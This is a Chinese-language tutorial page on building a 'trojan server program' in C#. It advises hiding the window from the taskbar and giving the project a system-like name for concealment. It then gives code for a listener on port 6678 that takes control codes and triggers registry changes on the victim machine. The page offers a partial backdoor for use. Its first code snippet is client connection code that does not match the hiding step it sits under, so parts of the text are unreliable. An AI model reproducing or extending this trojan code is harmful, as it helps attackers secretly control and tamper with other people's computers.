您好,登錄后才能下訂單哦!
這篇文章主要講解了“如何利用C#實現木馬服務程序”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“如何利用C#實現木馬服務程序”吧!
服務端的開發:
要C#實現木馬服務程序,主要實現以下幾個功能:后臺的運行(隱藏技術),控制碼的接收與注冊表的修改,下面對這三方面做介紹:
1、在VC#中,建立一個后臺服務程序是很容易的
先建立一個新的C#的Windows應用程序,項目名稱自定(不過為了隱藏可使用與系統相近的名稱),將窗體屬性“ShowInTaskbar”屬性設為false,讓它運行時不會在任務欄中顯示,并將屬性“Windowstate”屬性設為 Mininized即可,這樣窗體就可以隱藏運行了。當然你也可以在InitializeComponent()設置,此函數起初始化的作用,在窗體顯示前運行,代碼如下:
// System.EventArgs包含事件數據類的基類 private void button7_Click(object sender, System.EventArgs e) { //記錄操作,在richTextBox控件中增加操作信息 richTextBox1.AppendText("請求連接" +textBox1.Text +" "); int port =6678; try { //初始化 TcpClient 類的新實例并連接到指定主機上的指定端口 client = new TcpClient(textBox1.Text,port); } catch { MessageBox.Show("服務器不在線!確定是否輸入主機名稱."); richTextBox1.AppendText("服務器不在線!確定是否輸入主機名稱."); } }
2、控制代碼的接收
必需在服務程序運行開始就啟動,所以偵聽線程必需在程序初始化中啟動,所以放在窗體的構造函數中,代碼注解如下:
public Form1() //窗體的構造函數 { // // Windows 窗體設計器支持所必需的 // InitializeComponent(); // // TODO: 在 InitializeComponent 調用后添加任何構造函數代碼 //加入你的偵聽代碼 //端口你可以自已設定,我使用了固定的端口 int port =6678; //System.Net.Sockets.TcpListener是用來在Tcp網絡中偵聽客戶端的 listener = new TcpListener(port); //啟動偵聽 listener.Start(); //增加接收控制碼的線程,如果要停止線程可以用 Thread.abort() //reControlCode 是線程啟動執行的函數,此函數根據接收的控制 //控制碼選取合適的注冊表修改函數 Thread thread = new Thread(new ThreadStart(reControlCode)); thread.Start(); } reControlCode函數如下,完整代碼見程序 private void reControlCode() { //設置接收套接字,接收listener.AcceptSocket是返回已經接收的客戶的請求 socket = listener.AcceptSocket(); //如果連接成功執行 while (socket.Connected) { //接收控制碼 byte [] by =new byte[6]; int i = socket.Receive(by,by.Length ,0); string ss = System.Text.Encoding.ASCII.GetString(by); //根據控制碼執行不同的功能 //修改注冊表加入編碼 switch (ss) { case "jiance"://測試連接,返回測試信息 string str ="hjc"; byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str); socket.Send(bytee,0,bytee.Length,0); break; case "zx1000": //修改注冊表函數,自已定義,見下面分析 UnLogOff(); //返回控制消息 retMessage(); break; case "zx0100": //修改注冊表函數 UnClose(); //返回控制消息 retMessage(); break; //重復的case功能與前面一樣,略掉 default: break; }//case }//while } //private void reControlCode
3、C#中實現注冊表的修改
使用了.NET類庫中的System.Microsoft.Win32命令空間,它提供兩種類型的類:處理由操作系統引發的事件的類和對系統注冊表進行操作的類。
感謝各位的閱讀,以上就是“如何利用C#實現木馬服務程序”的內容了,經過本文的學習后,相信大家對如何利用C#實現木馬服務程序這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關知識點的文章,歡迎關注!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。